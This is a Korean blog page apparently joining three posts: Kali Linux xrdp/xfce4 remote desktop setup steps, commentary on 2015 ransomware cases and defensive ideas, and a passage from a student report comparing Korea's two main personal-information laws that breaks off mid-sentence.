다만 apt-get 명령으로 설치 중 /var/lib/dpkg/lock 파일과 /var/cache/apt/archives/lock 파일이 이미 있어 아래 화면과 같이 Lock을 걸 수 없다는 에러가 발생하는 경우가 있습니다. 이런 경우 두개의 lock 파일을 지우고 다시 실행하면 됩니다. kali Linux 설치 중 해당 파일이 지워져야 하는데 지워져 있지 않아 발생하는 문제로 보입니다. Unix나 Linux와 같은 멀티유저 멀티태스킹 환경의 운영체제는 서로 다른 두 사람이 동시에 패키지를 설치하거나 수정하는 것을 방지하기 위해 Lock을 걸어야만 해당 작업이 수행되도록 하고 있습니다.



원격 접속을 위한 xrdp 및 xfce4 설치

윈도의 원격접속도구인 mstsc.exe를 이용해 XWindow에 접속하려면 두개의 패키지를 설치해야 합니다. MS의 원격접속 프로토콜인 RDP(Remote Desktop Protocol)과 XWindow의 접속 프로토콜의 프로토콜게이트웨이 역할을 하는 xrdp가 XWindow 환경을 인식하도록 해주는 xfce4 를 설치해야 합니다.



다음 순서대로 따라하면 됩니다.


1. xrdp 설치



2. xrdp 대몬 실행



3. xfce4 설치



5. startwm.sh 파일 위치로 이동



6. startwm.sh 수정



7. xrdp 대몬 재실행 (/etc/init.d 로 이동 후)



8.  원격 데스크톱 연결 실행 후 ip 입력



9. 세션의 종류 선택 (sesman-Xvnc 선택)



10. 접속 성공한 화면.



여기까지 잘 실행되면 이제 콘솔 접속은 필요없습니다.


만약 해상도가 위 10번의 화면처럼 고해상도로 나오지 않는다면 콘솔에서 접속하여 설정메뉴로 들어간 뒤 해상도를 지정해주면 원격 접속시에도 해당 해상도로 나오게 됩니다. (단, 칼리리눅스를 VMWare에 설치했다면 VMWaretools를 설치해야 고해상도 지정이 가능할 수 있습니다. VMWaretools없이 고해상도가 지정되는지는 아직 해보지 않아서 잘 모르겠습니다. 해보신 분이 계시다면 댓글달아주시면 좋겠네요.)


- xrpd, xfce4 설치 후 접속 오류 시 문제 발생 시 해결 방법 보러가기 (http://blogger.pe.kr/597)





2015년 4월... 거대 커뮤니티로 부터 랜섬웨어가 유포되어 많은 피해자가 발생했습니다. PC는 물론 공유폴더 형태로 연결된 NAS나 외장스토리지에 저장된 Word(.doc), PPT(Power Point), Excel(.xls) 등의 문서파일들이 암호화되어 버리는 피해가 발생한 것이죠. (관련 사건 보러 가기)


랜섬웨어란?


랜섬웨어는 몸값을 뜻하는 ransome과 ware가 합성된 단어로서 컴퓨터 사용자의 동의없이 불법적으로 컴퓨터에 침입하여 문서, 이미지 등의 데이터파일을 무작위로 암호화 한 뒤 해당 컴퓨터 사용자에게 암호화 된 문서나 이미지를 복구하려면 돈을 내놓으라고 요구하는 악성 프로그램을 말한다.


랜섬웨어 유포자 검거

올해(2015년) 세계적으로 악명을 떨친 랜섬웨어는 CoinVault라는 랜섬웨어와 BitCryptor입니다. 우리나라는 물론 요즘은 제 주변에서도 PC에 감염되어 파일들이 암호화되는 피해가 속출하고 있는 형편이죠. 그런데 최근 네델란드에서 이들 랜섬웨어를 만들어 유포한 해커가 검거되었다고 합니다.


이 해커를 검거하는데는 카스퍼스키와 네델란드의 국립하이테크범죄수사부서가 공동으로 활약했다고 합니다. 그리고 이 해커의 C&C서버에서 1만5천여개의 암호화키를 획득하여 피해자들의 파일을 복호화하는 서비스를 카스퍼스키에서 시행하고 있습니다. (대칭키 암호화를 사용하므로 암호화키 자체가 복호화키가 됩니다.)


랜섬웨어의 공포는 사라진 것인가?

절대 그렇지 않습니다.



앞에서 언급한 클리앙 및 우리나라에서 피해를 일으킨 크립토라커(CryptorLocker)는 이번에 검거된 해커가 만든 랜섬웨어는 아닌 것으로 추측됩니다. 게다가 초기에는 암호화알고리즘을 해독해 암호키를 알아내는데 성공해서 복구 서비스를 했지만 변종이 많아지면서 더 이상 복구 서비스를 하는 곳이 없습니다.



게다가 암호화 알고리즘은 매우 다양하고 약간의 변형만 주어도 변종을 만들 수 있기 때문에 하나하나 대응하는 것은 불가능합니다. 그렇기 때문에 랜섬웨어의 공포는 현재 진행형입니다. 제 아무리 강력한 백신을 PC에 설치해도 일단 새로운 랜섬웨어가 PC로 침투하면 대응방법이 없습니다.


결국 사용자가 위험한 웹사이트에 방문하지 않거나 불필요한 파일이나 의심스런 파일을 다운로드 받지 않는 방법밖에는 없다고 보여집니다.


그렇다면 과연 랜섬웨어에 대응하는 방법은 없을까요?


랜섬웨어에 대응하기 위한 보안 솔루션의 개발은 가능하다.

아직 랜섬웨어에 효과적으로 대응하기 위한 솔루션은 없습니다만 개발은 충분히 가능합니다. 커널 수준에서 보호해야할 파일, 즉 .doc, .ppt, .xls, .hwp와 같은 문서파일에 각각 대응되는 프로세스 즉 msword.exe, hwp.exe, excel.exe 등만 접근하도록 허용하고 그 외의 프로그램들은 읽기만 가능하도록 통제하면 가능합니다.


매우 쉬운 아이디어지만 이 아이디어를 실제로 구현하는 것은 그리 간단하지는 않습니다. 실제로 이런 보안 정책을 지원하는 제품이 서버보안SW인 RedCastle인데 아쉽게도 RedCastle은 Windows 2003 Server 이상의 Windows 서버와 Linux, Unix에서만 그 동작을 보증합니다.


간혹 Windows 7에도 설치하고 테스트를 하는 경우가 있습니다만 개인 PC용 운영체제에 대한 기술보증은 하고 있지 않아 아쉽습니다.





얼마전에 편입한 학교에서 첫 레포트 과제가 나왔습니다. 얼마만에 써보는 학교 레포트인지 모르겠네요.ㅎㅎ 평소 정리가 필요하다고 생각했던 부분이었는데 과제로 나오니 겸사겸사 두 법률의 문구 하나 하나를 세심하게 보면서 유사항목들을 비교하고 어떤 차이가 있는지를 볼 수 있는 기회가 되었습니다.


평소 미뤄왔던 일을 하게 해주신 좋은 기회를 주신 조태희 교수님께 감사해야할 듯 합니다. ^^


그럼..들어갑니다....


1. 개요


우리나라는 개인의 자유와 권리를 보호하고 나아가 개인의 존엄과 가치를 구현하기 위한 입법취지를 갖는 『개인정보보호법』과 정보통신망의 이용을 촉진하고 정보통신서비스를 이용하는 개인의 개인정보를 보호함과 아울러 정보통신망을 건전하고 안전하게 이용할 수 있는 환경을 조성하기 위해 제정된  『정보통신망 이용촉진 및 정보보호 등에 관한 법률』(이하 정보통신망법)을 제정하여 시행하고 있습니다.


이에 두 법률을 비교/분석함으로써 전반적인 개인정보보호의 국가적 기준을 쉽게 이해할 수 있도록 하기 위해 작성하였습니다.


본 문서에서는『개인정보보호법』을 기준으로 『정보통신망법』의 동일 혹은 유사한 법령이 있는 경우 해당 규정을 비교하였습니다.


2. 일반사항 비교


개인정보보호법과 정보통신망법은 다음과 같이 제정 시기 및 주관부서의 차이를 갖고 있습니다.

구분

개인정보보호법

정보통신망법

제정

시기

2011년 3월 29일

(시행은 6개월 뒤인 2011년 9월 30일부터)

1999년 2월 8일

(이전의 『전산망보급확장과 이용촉진에 관한 법률』이 전면 개정되어 탄생 – 개인정보보호규정 추가됨)

주관

부처

행정자치부(개인정보보호정책과)

미래창조과학부/방송통신위원회

하위

규정

개인정보보호법 시행령

[별표 1]전문인력의 자격기준(제37조 제1항 제2호)

[별표 1의2] 과징금의 부과기준(제40조2 제1항)

[별표 2] 과태료의 부과기준(제63조)

정보통신망 이용촉진 및 정보보호 등에 관한 법률 시행령

개인정보의 기술적.관리적 보호조치 기준

정보보호조치에 관한 지침

정보보호 사전점검에 관한 고시

집적정보 통신시설 보호지침

정보보호 관리체계 인증 등에 관한 고시


3. 주요 법령 비교

가. 총칙

비교 기준 항목

개인정보보호법

정보통신망법

정의

“개인정보”, “정보주체”, “개인정보파일”, “개인정보처리자” 등 다양한 개인정보 관련 용어에 대한 정의 제시

또한 “처리”라는 용어로 개인정보의 수집, 이용 및 보관, 파기까지의 개인정보처리의 전반적인 라이프사이클을 명시하고 있음. (제2조)

“개인정보”에 대한 정의는 개인정보보호법과 동일한 의미로 정의하고 있음.

“개인정보처리자”를 명시하지 않고 ”정보통신서비스 제공자“ 및 ”통신과금서비스 제공자“, ”이용자“등으로 개인정보처리자 및 정보주체를 명시하고 있음. (제2조)

개인정보 보호원칙 및 정보주체의 권리

개인정보를 수집/이용하는 개인정보처리자의 책무와 개인정보 보호활동 및 정보주체의 권리에 대해 명확하게 명시하고 있음.

(제3조 및 4조)

정보통신서비스 제공자의 개인정보보호에 대한 책무를 간략히 명시하고 있음. (제3조)

미래창조과학부 장관 및 방송통신위원회가 개인정보를 위한 시책을 마련해야함을 명시함 (제4조)

타 법률과의 관계

개인정보에 관하여 타 법률에 특별한 규정이 있는 경우를 제외하고는 개인정보보호법에 따름. (제6조)

타 법률에서 특별히 규정된 경우 이외에는 정보통신망법을 따른다. 단 통신과금서비스에 관하여 전자금융거래법과 경함하는 때에는 정보통신망법을 우선 적용한다. (제5조)


나. 개인정보 보호정책의 수립

개인정보보호를 정책 수립 및 보호위원회

대통령 직속의 “개인정보 보호위원회”(위원장 1명을 포함한 15인의 위원회)를 두고 개인정보 보호와 관련된 정책, 제도 및 법령을 심의 의결하도록 명시함. (제7조 및 8조)

 

별도의 위원회 및 기구 설립에 대해 언급하지 않고 있으며 “미래창조과학부 장관” 또는 “방송통신위원회”가 개인정보 보호를 위한 시책을 마련해야 한다고 명시함. (제4조)

정보보호 기본계획

행정자치부 장관은 3년마다 개인정보 보호 기본계획을 보호위원회에 제출하고 심의 의결을 거쳐 시행하여야 한다고 명시함. (제9조)

 


다. 개인정보의 수집, 이용, 제공 등

개인정보의 수집 이용 동의

1. 개인정보의 수집.이용 목적

2. 수집하려는 개인정보의 항목

3. 개인정보의 보유 및 이용 기간

4. 동의를 거부할 권리가 있다는 사실 및 동의 거부에 따른 불이익 내용   (제15조 2항)

1. 개인정보의 수집.이용 목적

2. 수집하는 개인정보의 항목

3. 개인정보의 보유.이용 기간

(제22조 1항)

미동의 수집 가능한 예외 항목

1. 법률에 특별한 규정이 있거나 법령상 의무를 준수하기 위하여 불가피한 경우

2. 공공기관이 법령 등에서 정하는 소관 업무의 수행을 위하여 불가피한 경우

3. 정보주체와의 계약의 체결 및 이행을 위하여 불가피하게 필요한 경우

4. 정보주체 또는 그 법정대리인이 의사를 표시할 수 없는 상태에 있거나 주소불명 등으로 사전 동의를 받을 수 없는 경우로서 명백히 정보주체 또는 제3자의 급박한 생명, 신체, 재산의 이익을 위하여 필요하다고 인정되는 경우

(제15조 1항)

1. 정보통신서비스의 제공에 관한 계약을 이행하기 위하여 필요한 개인정보로서 경제적.기술적 사유로 통상적인 동의를 받는 것이 뚜렷하게 곤란한 경우

2. 정보통신서비스이 제공에 따른 요금 정산을 위해 필요한 경우

3. 이 법 또는 다른 법률에 특별한 규정이 있는 경우

(제22조 2항)

개인정보의 수집 허용 범위 및 제한 사항

서비스의 제공에 필요한 최소한의 개인정보만을 수집하여야 한다는 원칙을 제시하고 있으며 최소한의 개인정보 이외의 개인정보 수집에 동의하지 아니한다는 이유로 서비스의 제공을 거부할 수 없음을 명시하고 있음.

(제16조)

개인정보보호법과 마찬가지로 서비스의 제공을 위하여 필요한 최소한의 범위에서 개인정보를 수집해야함을 명시하고 있음. 또한 서비스의 제공에 필요한 최소한의 개인정보 이외의 개인정보를 제공하지 아니한다하여 서비스의 제공을 거부해서는 안된다고 명시하고 있음.

(제23조)

개인정보의 3자 제공 및 취급 위탁에 관한 사항

개인정보처리자는 수집한 개인정보를 제3자에게 제공하기 위해서는 정보주체의 동의를 받아야 하며 제공받는 자의 개인정보 이용 목적 및 항목, 보유기간 등을 정보주체에게 알리고 동의를 받아야 함을 명시하고 있음.

(제18조)

개인정보를 수집한 정보통신서비스 제공자는 제3자에게 개인정보 처리 업무를 위탁하거나 개인정보를 제공할 수 있으며 그 경우 위탁자(제공받는 자), 위탁업무의 내용(개인정보 이용 목적), 위탁(제공)하는 개인정보의 항목 등을 이용자에게 알리고 동의를 받아야 함을 명시하고 있음.

(제24조, 25조)

개인 정보의 수집 목적 외 이용.제공의 제한에 관한 사항

개인정보보호법에서